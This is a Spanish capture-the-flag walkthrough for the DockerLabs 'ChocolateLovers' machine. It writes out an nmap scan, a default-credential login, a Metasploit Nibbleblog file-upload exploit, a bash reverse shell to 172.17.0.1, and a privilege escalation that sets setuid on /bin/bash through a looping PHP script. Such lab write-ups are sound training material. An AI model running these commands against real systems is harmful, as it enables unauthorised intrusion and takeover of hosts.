ChocolateLovers

🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.


🎯 Resolución

🔍 Reconocimiento

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -p- --open --min-rate 5000 -sS -vvv -n -Pn 172.17.0.2 -oG allPorts_

El escaneo revela que el servicio HTTP están activos.
Pasted image 20241121190608.png
Accedemos al sitio web y observamos que se trata de una página de Apache genérica. Esto nos lleva a investigar si existen otros recursos disponibles en el servidor.
Pasted image 20241121190836.png


🕵️ Análisis de vulnerabilidades

Tras realizar un proceso de fuzzing en la página web, no obtuvimos resultados significativos. Ante esta situación, decidimos inspeccionar el código fuente de la página.
Pasted image 20241121191232.png
Aquí tienes una versión mejorada:


Al ingresar a la página, observamos que parece existir una ruta a una página llamada admin.php
Pasted image 20241121191853.png
Hay un login
Pasted image 20241121192107.png
Probamos acceder utilizando las credenciales por defecto: usuario: admin y contraseña: admin. Sorprendentemente, el acceso fue exitoso.


🎯 Explotación

Buscamos si existe un exploit público para Nibbleblog utilizando el siguiente comando:ç

searchsploit nibbleblog


Entre los resultados, encontramos una vulnerabilidad de Arbitrary File Upload. Decidimos investigar más a fondo en internet para comprender cómo funciona y cómo podemos explotarla.
Pasted image 20241121193433.png
Descubrimos que la vulnerabilidad está relacionada con un plugin llamado my_image.
Pasted image 20241121194535.png
Así que tenemos que instalar el plugin
Pasted image 20241121194741.png
A continuación, procedimos a lanzar el exploit utilizando Metasploit.

msfconsole
use exploit/multi/http/nibbleblog_file_upload
set PASSWORD admin
set USERNAME admin   # Establecemos el nombre de usuario como admin.
set RHOSTS 172.17.0.2   # Definimos la dirección IP del objetivo (en este caso, el servidor de Nibbleblog).
set TARGETURI /nibbleblog/   # Establecemos el directorio de destino, donde está alojada la instalación de Nibbleblog.
exploit

Ya estamos dentro de la máquina
Pasted image 20241121195602.png
Para hacer que la consola sea interactiva, configuramos una reverse shell.

bash -c "bash -i >& /dev/tcp/172.17.0.1/4443 0>&1"

📈 Escalada de privilegios

Una vez dentro del sistema, ejecutamos el comando sudo -l para listar los privilegios de sudo del usuario actual. Esto nos permite identificar qué comandos se pueden ejecutar como administrador sin necesidad de proporcionar una contraseña, lo que podría abrir la puerta a una

sudo -l

Identificamos que tenemos permisos para ejecutar el comando php como el usuario chocolate, lo cual podría ser aprovechado para escalar privilegios. Al consultar la página de GTFOBins, descubrimos que, utilizando el siguiente comando, podemos obtener privilegios de administrador:

CMD="/bin/sh"
sudo php -r "system('$CMD');"

Pasted image 20241121200303.png
Ya hemos iniciado sesión como el usuario chocolate. Ejecutamos nuevamente el comando sudo -l para verificar los privilegios disponibles y explorar posibles vectores de escalada de privilegios. Sin embargo, en esta ocasión, el sistema solicita una contraseña, lo que impide que podamos utilizar el comando.
Pasted image 20241121200951.png
Otra opción es buscar archivos con permisos especiales mediante su ID utilizando el comando:

find / -perm -4000 -ls 2> /dev/null

Sin embargo, al ejecutar este comando, no encontramos nada interesante que pueda ser aprovechado.

Para ver qué procesos están activos, utilizamos el siguiente comando:

ps -faux

Parece que se está ejecutando un proceso con el siguiente comando:
`while true; do php /opt/script.php; sleep 5; done

Este es un bucle infinito while que ejecuta el script script.php ubicado en /opt/ cada 5 segundos. El proceso se desglosa de la siguiente manera:


echo "echo '<?php exec(\"chmod u+s /bin/bash\"); ?>' > /opt/script.php"

Este comando sobrescribe el archivo script.php en /opt/ con código PHP que, cuando la tarea programada ejecute el script automáticamente, cambiará los permisos de /bin/bash al agregar el bit setuid.
A continuación, ejecutamos el siguiente comando para escalar privilegios:

bash -p


Este comando inicia una nueva sesión de bash con privilegios elevados, aprovechando el bit setuid previamente configurado en /bin/bash.

¡Ya somos root!

Pasted image 20241121204043.png